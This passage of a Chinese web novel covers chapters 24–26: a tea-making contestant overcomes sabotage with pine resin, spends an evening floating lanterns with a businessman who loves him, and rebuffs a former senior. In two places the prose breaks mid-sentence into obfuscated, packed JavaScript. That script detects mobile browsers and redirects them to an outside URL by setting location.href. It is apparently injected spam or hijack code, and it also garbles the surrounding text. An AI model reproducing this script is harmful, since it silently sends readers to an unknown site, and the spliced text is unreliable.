傅砚珩任命地叹气,心想自己真算栽在醉鬼手里了。起身打算去浴室冲个冷水澡,结果下一秒,像是感觉到身边人要离开,楚韫突然睁开眼睛,握住了傅砚珩的小臂。 床上人的眼睛像是蕴了一汪水,楚韫突然哑着嗓子开口:“傅砚珩……” 傅砚珩“嗯”了一声,重新俯下身子,安抚道:“我在,别怕。” “我好难过。” 傅砚珩看着楚韫逐渐泛红的眼圈,在雪白的皮肤上显得格外刺眼,沉默了一下说:“那我给你讲个故事好不好?” 这句话说完,他顿了一下,像是想要从那段被埋藏在废墟之下的童年记忆中,找到为数不多的一点温馨柔软。 “森林里下了场雨,青蛙的荷叶伞被风吹坏了,只能蹲在蒲公英丛里躲雨。这时,蜗牛背着壳爬过来,手里还拿着一柄蘑菇伞,问道——” 傅砚珩清了清嗓子,面无表情地模仿了一下动画里的声音:“小青蛙,要不要来躲躲?” “蜗牛的伞不大,只够两只动物挤在一起。后来雨停了,天边挂着一道美丽的彩虹,蜗牛说:‘原来挤一挤,雨就不冷了’。” 楚韫愣愣地看着傅砚珩,像是听懂了,又像是没听懂,但情绪看起来总算是平稳了许多。 傅砚珩说:“这个故事告诉我们,难过的时候有人陪着就好了,一切都会过去的。” 楚韫的脑子乱糟糟的,一会是今晚得知的一切,一会是这些年和廖叙生相处的点点滴滴,最后这些愤怒的、迷茫的、不安的、悲伤的情绪都像烟云消散在眼前,只剩下面前人的眉眼愈发清晰。 像是为了验证这个人是否真实存在,他忽然伸出手,指尖一点点抚过对方的五官。 24. 复赛 楚韫做了个梦。 梦里他和沈清分别后,独自一人在行政酒廊喝酒,看到了廖叙生和楚盈慈,然后不知道怎么回事傅砚珩出现了。梦里的傅砚珩呈现出与平时迥然不同的温柔一面,不但会给他擦脸,还给他讲了个童话故事。 楚韫双睫微颤,睁开了眼睛。 卧室里空空荡荡,床上只有他一个人。 ……还好是梦。 楚韫闭了闭眼睛,又猛然睁开,在看清这间卧室的陈列布置后,缓缓露出一个无比安详的微笑。 我为什么没有醉到断片??! 纵使人生经历十分丰富,向来心理素质极为强大的楚韫还是做了三次深呼吸,努力把那些不堪回首的经历抛到脑后。做完这一切后,楚韫面无表情地起床、洗漱,看到自己身上仍穿着昨夜的衣服,下意识松了口气。 收拾好自己后,楚韫怀着深重的负罪感无比仔细认真地把卧室和洗手间收拾得干干净净整整齐齐,这才有时间看一眼手机。 最上面就是傅砚珩给他发的信息: [你昨晚在行政酒廊喝醉了,我正好看到,就把你带回来了,我自己另开了间房。] 看看,这就是你干的好事。 楚韫做了会心理建设,这才回复: [谢谢傅总,我已经把卧室收拾干净了,很抱歉给您添麻烦了。] 想了很久,楚韫还是忍不住问出他非常关心的问题: [我昨晚喝醉后……应该还正常吧?] 他把手放进上衣口袋,然后就摸到了一张硬硬的、纸片一样的东西。宿醉后的错乱让他反应了两秒才意识到是那张照片,手指轻而缓地摩挲了两下照片的边角,但终究没再把它拿出来。 . 与此同时,傅砚珩从跑步机上下来,一边擦汗一边查看手机,看到楚韫发的那两条信息时,下意识回想起昨晚的混乱。 晦暗的月色下,有人呼吸清浅,即使睡着了也不甚安稳,总是会往他怀里蹭来蹭去。 那些冲动的、迷乱的热潮最终没能得到一丝一毫的纾解,始终隐忍而克制地蛰伏着,直到确认某个不安分的醉鬼陷入深度睡眠,他才堪堪抽身,有些狼狈地去了淋浴间。 等到一个小时之后,他从浴室出来,想到楚韫平时冷冷清清的一个人,要是明早看到自己和他睡在同一张床上,不知道会不自在成什么样,于是打电话给前台,让他们重新为自己安排一间房。 傅砚珩呼出一口气,回复: [不用担心,你酒品不错。] “呀,什么事让我们傅总笑得这么开心?” 一道婉转的女声响起,傅砚珩掀起眼皮,就看见徐菀真正笑吟吟地看着他。 傅砚珩微微上扬的嘴角又落了回去,好像刚刚那点笑意只是徐菀真眼花。 “切,让我猜猜,是不是在和楚韫聊天啊?” 徐菀真走过来,自然而然地坐到了傅砚珩身边,用肩膀撞了撞他:“我说一个茶叶比赛怎么值得你停留这么长时间,感情是醉翁之意不在酒——” “徐大小姐,”傅砚珩顿了顿,似笑非笑地说:“如果我没记错的话,你和耀信集团那位女CEO的绯闻还是我帮你拦下来的。” “不然你现在恐怕不会有这个机会追着她来这里。” 徐菀真被拿捏住命脉,瞬间敛旗息鼓。 她一手托腮,有些烦躁又有些含糊地说:“……你说阿京到底喜不喜欢我啊,上次之后她就好像什么事都没发生过一样,该工作工作,该休假休假。” 徐菀真叹气总结:“唉,你我都是深受爱情之苦的可怜人啊。” “你有没有闻到茉莉花味?”傅砚珩突然说了句没头没尾的话。 徐菀真集中精力感受了一下,一脸迷茫地说:“你别说,好像真有。” 傅砚珩点了点头,漫不经心地说:“有就对了,你怎么知道楚韫为了帮我倒时差,特意给我做了安神的茉莉香囊?” “……” “呵,”徐菀真气极反笑,冷冷道:“狗男人。” . GLGA的复赛定在初赛后的第二天。 初赛的两百多名选手到了复赛只剩下不到一百名,而这场复赛要进一步淘汰掉大部分选手,最后能进入决赛的只有十个人。 初赛的小组名单是由组委会统一安排的,到了复赛则是采取抽签的方式进行分组。 楚韫看着手里写着数字3的号码牌,与此同时前面的大屏展示出了分组结果—— 他和宋清峦一组。 不远处,宋清峦也看到了分组结果,举起手中的号码牌朝楚韫晃了晃,露出一个笑容。 从复赛开始,GLGA采取现场直播的形式记录比赛的全过程。此时大家被摄像机团团围住,楚韫也朝宋清峦微微颔首,完全是一副赛前友好的氛围。 分组过后,复赛正式开始。第一组选手已经进去比赛了,楚韫正盯着手里的号码牌发呆,就感觉有人坐在了他旁边。 “怎么办,好紧张啊。” 沈清捂着胸口,忧心忡忡地说。 “初赛我稀里糊涂地过了,复赛恐怕就没那么好运气了。” 楚韫看他一眼,不太能理解:“你平时没练过茶叶炒制吗?” 沈清噎了一下:“练是练过,但我的三脚猫功夫跟那些前辈比起来还是差了很多啊。” 楚韫顿了一下才说:“茶叶炒制就那几个要素:温度、热源、手法、时间,还有状态判断,只要把这些都掌握精准,自然就能炒制出上等的茶叶了。” 沈清很心累:“……可是想要完美做到这些简直难如登天。” “对你来说是这样吗?”楚韫平静地点点头,语气波澜不惊:“我当时花一年炒出了特级茶叶,还算比较顺利吧。” 这是“比较顺利”吗?这他妈是天赋异禀吧。 沈清忍住骂人的冲动,生无可恋地说:“谢谢你,我现在不紧张了。”因为已经破罐子破摔了。 楚韫信以为真,说了句“那就好”,整个人看上去真的如他所说,放松、自然,好像不是来参加茶界最高规格的国际赛事,而是进行一次平平淡淡的展示。 “对了,”沈清突然凑近,提防地看了一眼周围的摄像机,小声蛐蛐:“你和宋清峦是什么关系啊?我总感觉他看你的眼神有点不太对劲。” 楚韫一头雾水:“什么眼神?” 沈清恨铁不成钢:“哎,你不会没发现吧,从刚才到现在,他的眼神一直往咱们这飘。” 楚韫觉得这很荒谬:“不可能,你看错了吧。” 开玩笑,自己对宋清峦态度那么冷淡恶劣,但凡是个人都应该识趣地离他远远的,除非他有字母属性。 “他是我以前的师兄,后来转投到余晋华门下了,所以我们现在没关系。” 沈清一和楚韫说话就喜欢把身体凑过去,因此在外人看来,他们两个人完全就是一副亲密无间的样子。宋清峦第四次收回目光,压下心里的烦躁,耐着性子回应身边人:“嗯?怎么了?” 对方笑了,揶揄道:“怎么心不在焉的?话说回来,你师父的雪听松风现在真是千金难求了,有机会你可得请我喝一次。这么多年,我还是最爱你师父做出来的这一款。” 宋清峦笑笑:“没问题。” . 工作人员来叫第三组的选手去比赛场地,沈清笑眯眯地朝楚韫比了个“加油”的手势,正好被经过的宋清峦看见。 宋清峦特意放慢了脚步,和楚韫并肩,状似无意地问道:“那是你朋友?” 楚韫“嗯”了一声,冷漠地向前走。 “是以前就认识的吗?”宋清峦笑笑,“我看你们的关系很不错。” 楚韫忽然就想起沈清刚才和他说的宋清峦看他们的事情,索性一次性把话说绝:“宋清峦,有时间关心我的社交,不如想想这些年你的制茶技术有没有进步。” 楚韫声音放低,恶意毫不掩饰:“毕竟你师父自己就是个绣花枕头,能教给你们的大概寥寥无几吧。” 说完,他轻笑一声,没管宋清峦逐渐难看的脸色,大步走了。 . 由于茶叶炒制对场地的要求较高,复赛挪到了室外进行。正值盛夏,骄阳似火,连树上的蝉都只是偶尔发出微弱的叫声。 空旷的场地上支起了临时的遮阳棚,几位选手依次在属于自己的位置上站好,裁判长开始宣布复赛的比赛规则:“每位面前都有一只一模一样的铁锅,稍后为大家准备的茶叶鲜叶也都品质相同,各位选手需要在规定的一小时内完成茶叶炒制,最后的成品茶叶将会从外形、香气,以及冲泡表现几点来进行评判。” 话音落下,工作人员为每人端上一斤信阳毛尖鲜叶,但因为是夏茶,叶片较为宽大,通常会味道苦涩,因此要想做出令评委眼前一亮的成品,还需要参赛者另辟蹊径。 裁判长宣布比赛开始,五位选手同时开始动手。 楚韫举着燃烧的细柴枝,正打算引燃木炭,却在此时敏感地捕捉到了一丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383311|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若有若无的气味。 ……像是松脂的味道。 但这点气味简直太微不足道,风一吹就什么都没有了,更像是他嗅觉出了问题。楚韫眉心微凝,没再犹豫,把细柴枝投了进去。 木炭逐渐燃烧,火苗看起来一切正常,但楚韫依旧没有掉以轻心。 他想起廖叙生曾经和他说过的话: ——“小楚,你要记住,做我们这行,一切的技巧都是入门功夫,只有练出直觉,才能真正达到出神入化的境界。” ——“所以很多时候,我们的直觉往往才是最准确的。” 楚韫轻轻呼出一口气,伸手去感受铁锅里的温度。 铁锅已经烧得发白,传递到手上的热气也差不多是合适的温度。楚韫抓起一把信阳毛尖,小臂上扬,让茶叶呈弧线落入锅中,掌心随即按下去,手指并拢贴着锅面划圈。 铁锅的温度烫得指尖发麻,楚韫依旧保持着极快的翻折速度,将叶片从锅底捞起,再重重压下,让高温瞬间锁住叶绿素。叶汁顺着指缝渗出,在锅面留下淡绿的痕迹,他突然勾指一挑,把贴在锅壁的茶叶拢回中央。 就在这时,变故陡生—— 原本稳定的火苗像是受到了什么刺激,突然蹿高,锅底的热度立刻升高到失去了控制! 几乎是瞬间,掌心里的茶叶已经泛出枯败的褐黄,但楚韫的反应更快,像是早已预料到这一切—— 他没有去扑那蹿高的火苗,反而将泛褐的茶叶拢成紧实的圆团,指腹死死按住尚带着几分青涩的团心。 刚才的变故吸引了三位评委的目光,他们都想知道楚韫接下来会如何应对。 却见楚韫指尖突然发力,将茶团往锅沿最凉的角落一压。铁锅边缘的温度比中央低了近十度,褐黄的叶片遇冷收缩,焦味竟被生生憋了回去。紧接着他翻腕一抖,茶团散开时,已借力将焦叶甩向外侧,自然而然地筛掉了那些不能要的茶叶。 但这还没完,楚韫一手抓起一旁的火钳,手腕翻转间伸进火膛,灵巧地挑出半块没烧透的松脂。 那半块松脂带着火星落在青砖地上,滋啦一声灭了。 宋清峦余光一直关注着楚韫那边的情况,就在刚才,看到楚韫的炭火出了问题的时候,他的心跳也下意识空了一拍。当时他甚至以为楚韫手里的茶就这么废了。 此刻看到楚韫行云流水、堪称奇迹的一套补救措施之后,他却说不出心里是什么感觉,想要为对方喝彩,又觉得有些空落落的。 . GLGA的官方直播间里,原本安安静静的弹幕突然飘过一群“我靠”、“太牛逼了”等惊叹的词语。 【这位选手叫什么名字?简直是化腐朽为神奇啊!!】 【该说不说,我只是刷到了随便点进来,本来以为会没什么意思,但这位的操作着实让我大开眼界……】 这场小小的波澜为GLGA的直播间带来了一波流量,更多的人进入直播间,明明其他几位选手也很出色,但大家还是把目光放在了楚韫身上。 . 楚韫像是没有受到丝毫影响,那张优美平静的面容依旧沉着而镇定。他的掌心已重新覆上茶叶,这次他换了手法,不再平摊翻动,而是用拇指抵住食指,形成一个半拢的弧度,让茶叶在掌心里画圈。这样既能避开锅底残留的高温区,又能让茶叶均匀受热,刚才被燎过的边缘,在这轻柔的揉搓里渐渐泛回些绿意。 最惊险的一关已经过去,剩下的揉捻和理条都不是问题。伴随着裁判宣布比赛结束,五位选手不约而同地完成最后一步,把炒制好的信阳毛尖收进茶罐里。 五只茶罐被摆在三位评委面前,接下来就是评判环节。刚刚完成一个小时的高强度工作,大家却依旧不曾显出任何疲态。 楚韫目光落在那块匍匐于地的松脂上,嘴角勾起一点讥讽的笑。但凡他没在最开始察觉出异常,此刻已经毫无疑问无缘决赛了。 除了余晋华,还有谁能把手伸到这样的顶级国际赛事。 宋清峦虽然一直关注着评委的动态,但还是忍不住分散了一半心神到楚韫那里。他都不用细想就能猜出来是谁做的手脚,楚韫自然也知道。 他心里陡然升起一阵烦躁,就像刚才那丛失控的烈焰。 ……为什么不事先告诉自己?是怕他念着从前的情分破坏他的计划吗? 说到底,机关算计,人心难测,余晋华从未真正信任过他。 无人看到的角落里,宋清峦面无表情,左手缓缓紧握成拳。 25. 花灯 时间一分一秒地流逝,三位评委在最后品尝过五位选手的信阳毛尖后,终于给出了每人的分数—— 宋清峦97.7,分数最高,楚韫95,位列第二。 宋清峦这个分数在楚韫的意料之中,虽然赛前他把对方奚落了一顿,但这位从前的师兄实力如何,他心里还是清楚的。 97.7,这个分数已经足够高,毫无疑问能进到决赛,但他的95就不一定了。 楚韫暗自叹了口气,不管怎么说他确实是尽力补救了,今天这种情况换做是别人,恐怕面临的就是直接出局。 但他不打算就这么放过始作俑者。 “各位评委,我想知道为什么我的木炭里会混进松脂。”楚韫语气平静,听不出喜怒,仿佛刚才经历那惊心动魄的一切的不是他,“就刚才我这里的火焰表现来看,最开始并没出现任何问题,直到我进行到关键一步时火焰才出现了失控现象,这块松脂应该是正好处于木炭中心,因此我合理怀疑这不是事故,而是人为。” 话音落下,裁判长拧起眉头,严肃道:“请选手放心,组委会一定会严查此事,如果真的出现了违反比赛规则的舞弊现象,我们绝不会姑息。” 楚韫点了点头:“所以,组委会是否应该补偿我一次重新比赛的机会?” 裁判长给出了一个模棱两可的答案:“如果经核实确实有问题的话,我们会重新为你安排一次单独的比赛。” 楚韫沉默了两秒,缓缓露出一个微笑:“希望组委会能尽快查明真相。” 与此同时,GLGA直播间里已经被弹幕刷屏了。 【不是,就凭刚才那波天秀操作,不拿最高分都离谱吧??!】 【这不是明摆着有问题吗,还要核实什么??】 【前面的,我也是做茶叶的,虽然刚才楚韫的补救堪称完美,但茶叶的损害是不可逆的,而复赛的评判标准就是要看炒出来的茶叶的品质,所以这个结果也算情有可原。】 【蹲一个后续。】 【蹲一个后续。】 楚韫看不到直播间里浩大的声浪,但能感受到出去时宋清峦一脸的欲言又止。 但他已经懒得理会这些了,现在他只想短暂地逃避那些挥之不去的阴影,回到酒店房间安静一会。 而且…… 脑海里浮现出一张锐利俊美的脸,自从前天早上那寥寥几句微信后,他们就没再发过信息。但想想也是,对于那晚的事情,换作任何人好像都会无话可说。 楚韫想向傅砚珩解释一下,但聊天界面都打开了,他的手指却迟迟没落到键盘上。 能解释什么呢?说自己是因为接受不了一些事情所以买醉的?什么事情?难道要告诉对方,自己活了二十五年才知道,他一直以来孺慕、仰望的师父,其实是他血缘上的生父? 楚韫垂下眼帘,掩住里面的阴霾。但就在这时,仿佛心有灵犀一样,原本安静的聊天界面弹出了一条新的信息: [傅砚珩:比完了?晚上有时间陪我在附近走走吗?] 楚韫缓慢地眨了下眼睛,屏幕上就又出现了一条信息: [邬桥这么好的景色,不欣赏一下可惜了。] 这一次,他没再犹豫: [好。] . 邬桥县虽然叫县,但占地面积很大,而且作为茶叶运输枢纽,水系极为发达,始终保持着传统与现代的微妙的平衡,有高楼林立灯火通明,也有老街古桥小镇人家。 邬桥的夜晚热闹而充满烟火气,浣月河边商铺繁荣,却都保持着历史韵味。绸缎庄里摆放着新式旗袍,不时传出女人们的笑声;茶楼食肆里座无虚席,正是饭点,食物的香气一直飘到他们这里;有老艺人抱着琵琶,坐在街角低声弹唱,为这样的夜晚平添几分情致。 楚韫和傅砚珩沿着浣月河岸并肩行走。夜风吹拂,河边杨柳依依,楚韫发自内心地感慨道:“他们看起来活得很幸福。” 傅砚珩看了一眼楚韫脸上毫不掩饰的羡慕,说道:“你也会幸福的,它可能只是在一点点积攒,等待着在人生的某个节点给你惊喜。” 楚韫笑了下,虽然知道这是一句安慰,但他确实觉得很有道理:“谢谢你。” 傅砚珩说:“这不是安慰,因为这就是我的感受。” 楚韫愣了一下,就听他继续说:“我小的时候常常觉得,我生活在一个冰冷的家庭里。在外人看来,我似乎什么都有,父亲掌握着庞大的亿恒集团,我作为家中长子,长大了自然要接管亿恒。财富、地位,我都不缺少,这样的人生怎么会不幸福呢?” 傅砚珩看着前方温暖明亮的灯光,他自己的半张脸却被隐没在黑暗之中。 “但我曾经见过父亲出轨后,母亲和他歇斯底里的样子,在我小的时候,两个人经常会因为一点小事而爆发无休无止的争吵,最严重的一次,我母亲把半个家都砸了,我父亲两个月没回来过。” 傅砚珩平静得像是在讲一个与他无关的故事,但楚韫的心跳却落空了一拍。 “最可笑的是,他们是外人眼里恩爱情深的典范,但有谁知道那些日复一日的冷战、仇人般的恶语相向。那时候,他们一吵架就会让家里的佣人全都回家,我因为太小,只能自己待在屋子里,没人会管我。” 楚韫忽然就在脑海中勾勒出一个场景:小时候的傅砚珩听着外面令人胆战心惊的争吵声,一个人缩在房间里沉默或流泪的场景。没有人注意到他,他好像被整个世界遗弃。 “那时候我总会很天真地想,要是我出生在一个平凡的家庭里该有多好,这样是不是就不会有那些纷纷乱乱的争吵。”傅砚珩笑了笑:“后来我就知道了,其实什么样的家庭都会有矛盾,和很多人比,我的情况已经很好了。” “我的童年就是这么过来的,整个青少年时期也都乏善可陈。后来在国外大学毕业,我进了投行工作,再后来,我父亲突发心梗不得不退下来,我就回国接手了亿恒。” “在过去的三十年里,我从没思考过‘幸福’这个词,我的生活一直都是那样,我也已经习惯于这一切。” 傅砚珩垂下眼帘,静静地注视着楚韫,就在楚韫以为他还会接着说下去的时候,他却沉默了,只用一片沉甸甸的目光将他围得密不透风。 那现在你幸福了吗? 楚韫在心里默默问道。 良久,傅砚珩再度开口,声音如同浣月河的微波:“虽然不知道那天晚上发生了什么事,但我等你有一天亲口告诉我。” 楚韫张了张嘴,却没说出一个字。 也是这时,他才猛然意识到,似乎就是从那个夜晚开始,或者更早,两人的关系已经在不知不觉间变得暧昧又模糊,而他直到现在才明白这一点。 楚韫的沉默让傅砚珩明白还不是时机,但他向来是个有耐心的狩猎者,虽然现在这点耐心已经所剩不多。 “抱歉。” 楚韫还没想好一个合适的理由,傅砚珩已经转移了话题:“这就是邬桥最有名的双桥映月吧。” 楚韫闻言抬眼看去,就见一座方桥、一座圆桥臂弯相抵,潺潺流动的浣月河在此处变得柔软宁静,像是一汪含情的眼波。 月光倾泻,圆桥的影子先落在水里,缺角处恰好嵌进方桥的倒影,就这样拼成一枚带着细孔的古钱。偶尔有乌篷船从桥洞钻过,竹篙搅碎了水面的月光和灯影。 “……好神奇。” 一旁的小贩看到他们新奇的神情,笑着介绍道:“两位是游客吧,这‘双桥映月’可是我们邬桥的一大特色。两位也是幸运,今夜正是满月,这一方一圆两座桥的桥洞倒映在水里,正好能拼成一枚完整的铜钱呐!” 楚韫问道:“这么设计是有什么寓意吗?” 小贩笑眯眯地说:“这桥可有讲究呢,一般人都以为是为了招财,但最开始可不是这样。镇上老人传下来的,情侣要是能在满月之夜手牵手从桥上过,影子落在同一个钱眼里,就能长长久久,一辈子不分家。” “……” 楚韫本来还想和傅砚珩一起去桥上走走,闻言堪堪收回了要迈出去的脚步。 反观傅砚珩一副毫不介意的样子,偏过头提议道:“我们上去看看?” 你觉得行就行。 楚韫心不在焉地想着,就在这时,一道有些熟悉的女声传来:“哇,好巧啊!” 来人正是徐菀真,只是她旁边还站着一个没什么表情的女人,看起来颇为冷艳成熟。徐菀真自动屏蔽掉傅砚珩冷飕飕的目光,笑容甜美地和楚韫搭话:“如果我没猜错的话,你是来这里比赛的吧。” 楚韫点头,徐菀真俏皮地眨眨眼:“加油呀,在我心里你就是最棒的制茶师!” 她旁边的女人始终淡淡地看着这一切,徐菀真一股气憋在胸腔,还想再说点什么,但傅砚珩并不想让楚韫成为她测试林京感情的工具。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383312|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 于是他低下头对楚韫说:“我们不是还要去放花灯?” 楚韫心领神会,“嗯”了一声,傅砚珩便向两人微微颔首:“我们先走了,失陪。” 徐菀真在心里嘟囔了一句“小气鬼”,面上笑着摆摆手:“玩得开心呀。” . 楚韫不知道傅砚珩为什么对“双桥映月”有这么大的执念,徐菀真她们走后还是拉着自己上去了。 这难道就是商人本色吗?楚韫心想,总不能是想和我天长地久吧。 但直到站在双桥石拱的最高处,楚韫就不这么想了。 水面传来“哗啦”轻响,一盏荷花灯从上游漂来,起初是零星几点暖黄,像刚从水底醒来的落星,贴着水面游荡漂浮。渐渐地,几十盏灯顺着水流铺开,似万千星河流泻。 楚韫突发奇想,试了一下,兴致勃勃地对傅砚珩说:“你试试通过圆桥的桥洞来看这些花灯。” 傅砚珩照做了,声音染上笑意:“好神奇,像画框一样,那些水上的花灯都变成了一幅画。” 楚韫伏在石栏上,有风吹过他的发丝,中和了几分平时的冷意,看起来柔软又温顺。 傅砚珩看出他的向往,主动提议道:“我们也去放个花灯吧。” 话音落下,他能明显感受到楚韫那双墨黑的眼睛亮了一下。 “好啊。” 卖花灯的老奶奶看着面前容貌气度均是不凡的两人,笑得眼睛都眯成了缝:“小伙子买花灯吗?今天是满月夜,放一盏灯,保佑全家幸福平安。” 傅砚珩看了一眼楚韫:“你要什么颜色的?” “绿色。” 傅砚珩对老奶奶说:“一盏蓝色,一盏绿色。” 老奶奶分别递给两人一个黄纸条:“把想要实现的愿望写在上面,卷起来放进花灯里,花灯顺着浣月河漂流到下游,愿望就能成真了。” 楚韫拿起笔,垂下眼帘思考了两秒,缓慢而珍重地落笔。 “写的什么?” 楚韫卷起纸条,眨了眨眼:“不告诉你,说出来就不灵验了。” 傅砚珩失笑。他向来不信这些,但还是把心底最隐秘的愿望写了上去。 两人付过钱,拿着花灯走到水边。楚韫朝傅砚珩借了打火机,“哧”的一声轻响,灯芯被引燃。火光摇曳,映得他的眉眼有几分惊心动魄的神采。 楚韫小心翼翼地把莲花灯放在水面上,傅砚珩也紧随其后。两盏花灯从他们指尖轻盈地落在水面,相互依偎着,渐渐漂向远方。 看着这一幕,傅砚珩忽然就觉得,或许这花灯真有几分灵验。 莲花灯承载着彼此最隐蔽的秘密,顺流而下—— “希望傅砚珩一生如舟行顺流,获得真正的幸福。” “希望楚韫免受一切蹉跎苦楚,从今往后顺心如意。” . 回去的时候,傅砚珩突然问道:“今天比赛有人动手脚了?” 楚韫愣了一下:“……你怎么知道?” “因为我一直在看比赛直播。” 这倒是楚韫万万没想到的,他以为傅砚珩来这里纯粹就是度假,顺便参加一个GLGA的开幕式。 傅砚珩说:“大概知道是谁做的吗?” 楚韫点点头:“除了余晋华,我想不出来第二个人。” “委屈吗?本来能拿到更好的成绩的。你应该也清楚,余晋华不可能让组委会查到自己头上。”傅砚珩深深地看了他一眼,还是问出这个问题。 楚韫很淡地笑了下:“习惯了。况且在更重要的事面前,这些都不算什么。” 傅砚珩静静地看了他一会,说道:“看来你已经有他的把柄在手上了。” 楚韫没再说话,算是默认。 从傅砚珩今晚的自我剖白开始,楚韫就一直有些心不在焉。傅砚珩对自己是什么感觉呢?楚韫心里已经模模糊糊有了答案,但对于任何不确定的感情,他向来抱着一种止步不前的态度。 他很想告诉对方一切,却怕最后只是黄粱一梦。于是所有的过往和真相都化作了苦涩的沉默,在他心里无声地发酵。 “抱歉,”楚韫垂下眼帘,声音很轻:“我现在无法告诉你更多,这是我的问题。” 下一秒,傅砚珩抬起楚韫的下巴,逼迫他与之对视,强势地闯进他的世界。 “不要道歉。”他说,“只要现在的你站在我面前,就足够了。” 26. 茶仙 楚韫的耳朵红了一路。 到了酒店门口的时候,傅砚珩又一次看了一眼旁边的人,还是没忍住笑:“这么热吗,楚老师。” 楚韫面无表情地说:“回去吹会空调就好了。” 担心被别人看到,他们在门口就分开了,傅砚珩让楚韫先进去,楚韫也没推辞。 直到走进电梯,楚韫看见镜子里的自己,长长呼出一口气—— 真是越活越回去了。 电梯门打开,楚韫走了几步,突然顿住。 宋清峦就站在他的房间门口,身体靠在墙上,不知道等了多久。 楚韫一眼看穿他的来意,先发制人道:“如果是为了下午的事就不用说了,我不想听。” 宋清峦脸上满是疲惫,一开口嗓子都是哑的:“小楚,我只说一句,那件事情我完全不知情……我也没想到他会做到这个地步。” “我知道了,宋先生请回吧。” 宋清峦眼里闪过一丝痛色,就在一瞬间,他忽然就后悔了。 “小楚,”他伸手拽住楚韫的小臂:“如果我当年没有那样做的话,我们今天会不会不一样?” 楚韫没说话,而是打开刚刚收到的邮件,将里面的内容展示给他看。 那是一篇组委会发来的公告,详细说明了楚韫那件事的调查结果。对于整件事的动机,这篇公告称“系工作人员陈某某为发泄个人情绪,故意将松脂混入选手所用木炭之中”。 楚韫讥讽地笑了笑,他甚至都不认识那个陈某某,何来的“发泄个人情绪”一说? “没有如果。”楚韫怜悯地看着他,“因为你就是一个见利忘义、道貌岸然的人。” 明明宋清峦比楚韫高出半头,但楚韫看向他的眼神充满了居高临下的意味。他锐利而雪亮的目光直直看去,像是能洞穿宋清峦心底一切隐秘的想法。 “宋清峦,喜欢我,你配吗?” . GLGA组委会最终还是重新给楚韫安排了一次复赛加试。 这回没有人再做手脚,楚韫炒出来的信阳毛尖拿到了98的高分,毫无疑问直接进了决赛。 组委会公布了最后的决赛名单,里面有那几位楚韫熟悉的选手:英国的艾略尔特、日本的泽田宽美、宋清峦,剩下的六位他也都略有耳闻,都是这几年风头很盛的佼佼者。 [沈清:QAQ我果然被淘汰了。] [不过我后来看了你的直播,你真的好帅啊,临场反应那么迅速,要是换做我早就不知所措了,因此我将单方面宣布成为你的粉丝!!] [对了,你知不知道你最近在网上简直火到爆!说起来也是塞翁失马焉知非福,有人把你复赛时的直播剪成了视频,播放量有十多万呢!好多人还挖出来你就是前段时间大火的‘先春’茶楼的老板,连带着你的茶楼也又火了。] [啊啊接这波超绝事业运~] 楚韫本来是带着笑意的,直到看到后面,他微微皱起眉。 这个时间点太过出名不是件好事。今天他们能挖出自己经营的茶楼,明天就能挖出自己和廖叙生的师徒关系。他还没来得及为廖叙生平反,若是余晋华再顺水推舟一把,到时候网上的负面舆论足以掀起不小的风浪,群情激奋之下,主办方甚至有可能取消他的参赛资格。 没人比他更清楚网络暴力的威力,就像三年前,网上铺天盖地的声讨让廖叙生失去了一切,最终凄凉孤地死去一样。 楚韫眼底带着寒意,呼出一口气,给傅砚珩打了个电话。 对面很快就接通了:“……楚韫?” 楚韫“嗯”了一声,单刀直入道:“我想请你帮个忙。” “什么事?” 楚韫说:“最近网上有很多我复赛的视频,热度都很高,我希望傅总能让手下的公关团队帮我把热度降下去,越少人关注越好。” 傅砚珩也没多问为什么,直接干脆地答应了:“好。” “半个小时后网上就不会再有与你相关的信息。” 楚韫心想这就是亿恒速度吗,说道:“到时候你把公关费用告诉我,我会打到你们公司的账目里。” 傅砚珩笑了:“不用,费用我帮你出了,你以后答应我一个愿望就行。” “……” 楚韫本来想说这不好吧,但转念一想,傅砚珩这种级别的有钱人好像也不差自己这点公关费,人家可能更想要点精神层面的东西。 他隐隐觉得傅砚珩给他设下了一个陷阱,但是别无选择:“好。” 和傅砚珩的电话挂断,梁淮的电话就无缝衔接了过来。 “楚韫,”梁淮语气疲惫:“陈家烨被保释出来的第二天就失踪了,我们的人接到他出来的消息后就立刻赶过去了,但还是晚了一步。” “我们的人在他家附近蹲守了两天,可以确定在此期间陈家烨都没回过家。如果是跑路的话,没有证件在身上迟早会出问题;但如果是被人带走的话,那我们再想找到他就很难了。” 梁淮停顿了一会,楚韫也一直沉默着。他们都知道,陈家烨多半是被余晋华的人带走了。 楚韫揉了揉发胀的太阳穴,说:“我知道了。” 梁淮说:“你放心,一旦有消息,我们的人会第一时间传回来。” “辛苦你了,”楚韫感觉到对方也为自己的事情焦头烂额,叹气道:“这次的酬劳我付你双倍吧。” “像往常一样就好。” 梁淮看着窗外自由翱翔于天际的飞鸟,温声道:“说来也巧,我最近有个案子,委托人正好是邬桥那边的一个茶商,可能这两天我要去那边出个差。” “……你也要来?” 楚韫简直不知道说什么好了,如果他迷信一点的话,简直要怀疑邬桥这地方是不是有点玄学在里面。从傅砚珩到徐菀真再到梁淮,怎么一个个都往这跑? 梁淮有些意外:“‘也’?还有别人也去了吗?” 楚韫含糊着敷衍了过去:“没事,就是刚才没反应过来。” 